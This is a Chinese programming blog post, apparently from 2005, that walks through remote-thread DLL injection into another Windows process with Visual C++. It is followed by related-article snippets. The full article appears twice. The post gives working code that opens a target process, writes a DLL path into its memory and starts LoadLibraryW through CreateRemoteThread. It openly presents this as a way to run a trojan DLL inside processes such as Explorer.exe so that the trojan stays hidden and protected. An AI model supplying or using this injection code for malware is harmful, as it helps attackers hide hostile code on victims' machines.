用Visual C++实现远程线程嵌入技术

原创 2005年06月01日 08:53:00
用Visual C++实现远程线程嵌入技术

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。 但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马(与进入进程内部相比,启动一个DLL木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。

首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)

 hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允许远程创建线程
                PROCESS_VM_OPERATION | file://允许远程VM操作
                PROCESS_VM_WRITE,//允许远程VM写
                FALSE, dwRemoteProcessId ) 

由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。

然后,我们可以建立LoadLibraryW函数这个线程来启动我们的DLL木马,LoadLibraryW函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,(也就是木马DLL的全路径文件名),但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)

 file://计算DLL路径名需要的内存空间
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
 file://使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
            MEM_COMMIT, PAGE_READWRITE);
 file://使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
 iReturnCode = WriteProcessMemory(hRemoteProcess,
            pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
 file://计算LoadLibraryW的入口地址
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
     GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); 

万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:

 file://启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
                 pfnStartAddr, pszLibFileRemote, 0, NULL); 

至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试DLL:

 BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
   {
    char szProcessId[64] ;
    switch ( reason )
     {
      case DLL_PROCESS_ATTACH:
       {
         file://获取当前进程ID
         _itoa ( GetCurrentProcessId(), szProcessId, 10 );
         MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );
       }
      default:
      return TRUE;
     }
   } 

  当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具也能看到

   Process ID: 1208
   C:WINNTExplorer.exe (0x00400000)
   ……
   C:TestDLL.dll (0x100000000)
   …… 

这证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。

无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。 但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马(与进入进程内部相比,启动一个DLL木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。

首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)

 hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允许远程创建线程
                PROCESS_VM_OPERATION | file://允许远程VM操作
                PROCESS_VM_WRITE,//允许远程VM写
                FALSE, dwRemoteProcessId ) 

由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。

然后,我们可以建立LoadLibraryW函数这个线程来启动我们的DLL木马,LoadLibraryW函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,(也就是木马DLL的全路径文件名),但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)

 file://计算DLL路径名需要的内存空间
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
 file://使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
            MEM_COMMIT, PAGE_READWRITE);
 file://使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
 iReturnCode = WriteProcessMemory(hRemoteProcess,
            pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
 file://计算LoadLibraryW的入口地址
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
     GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); 

万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:

 file://启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
                 pfnStartAddr, pszLibFileRemote, 0, NULL); 

至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试DLL:

 BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
   {
    char szProcessId[64] ;
    switch ( reason )
     {
      case DLL_PROCESS_ATTACH:
       {
         file://获取当前进程ID
         _itoa ( GetCurrentProcessId(), szProcessId, 10 );
         MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );
       }
      default:
      return TRUE;
     }
   } 

  当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具也能看到

   Process ID: 1208
   C:WINNTExplorer.exe (0x00400000)
   ……
   C:TestDLL.dll (0x100000000)
   …… 

这证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。

无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。

用Visual C++实现远程线程嵌入木马技术

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立...

Visual C++利用互斥量同步线程实现文件读取进度条

作者:陈飞 一、前言         文件读取进度条的实现可以有很多种方法,常用的是在读取文件的过程中隔一定时间向对话框发送消息以控制进度条的位置,但是这种方法很难确定隔多少时问发送一个消息,...

Visual C++利用互斥量同步线程实现文件读取进度条

一、前言         文件读取进度条的实现可以有很多种方法,常用的是在读取文件的过程中隔一定时间向对话框发送消息以控制进度条的位置,但是这种方法很难确定隔多少时问发送一个消息,因为文件的大小是不...
  • cckit
  • cckit
  • 2014年11月05日 20:25
  • 540

基于visual c++之windows核心编程代码分析(66)实现Windows服务的远程控制

Windows服务之前已经进行了讲解,如何在安装Windows服务呢,作为远程控制的服务端。安装Windows服务代码如下#include "stdafx.h" //#include #includ...

基于visual c++之windows核心编程代码分析(66)实现Windows服务的远程控制

Windows服务之前已经进行了讲解,如何在安装Windows服务呢,作为远程控制的服务端。 安装Windows服务代码如下 [cpp] view plaincopyprint? ...

基于visual c++之windows核心编程代码分析(48)编程实现远程登录3389

3389端口是Windows 2000(2003) Server 远程桌面的服务端口,可以通过这个端口,用"远程桌面"等连接工具来连接到远程的服务器,如果连接上了,输入系统管理员的用户名和密码后,将变...

基于visual c++之windows核心编程代码分析(49)基于匿名管道实现远程控制

匿名管道是一种未命名的、单向管道,通常用来在一个父进程和一个子进程之间传输数据。匿名的管道只能实现本地机器上两个进程间的通信,而不能实现跨网络的通信。 匿名管道     匿名管道是一种未命名的、单向管...

基于visual c++之windows核心编程代码分析(12)使用信号量同步线程

我们编写多线程应用程序的时候,经常需要进行线程同步协作,我们来实践一下用信号量同步线程。请见代码实现与注释分析, [cpp] view plain copy ...

基于visual c++之windows核心编程代码分析(12)使用信号量同步线程

我们编写多线程应用程序的时候,经常需要进行线程同步协作,我们来实践一下用信号量同步线程。请见代码实现与注释分析,/* 头文件 */ #include #include /* 常量定义 */ #de...

基于visual c++之windows核心编程代码分析(14)使用Event同步线程

我们进行Windows编程编写多线程程序的时候经常需要用到线程同步,我们来实现用Event同步线程。请见代码注释与实例讲解。 /* 头文件 */ #include #include /* 常量定义...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:用Visual C++实现远程线程嵌入技术
举报原因:
原因补充:

(最多只允许输入30个字)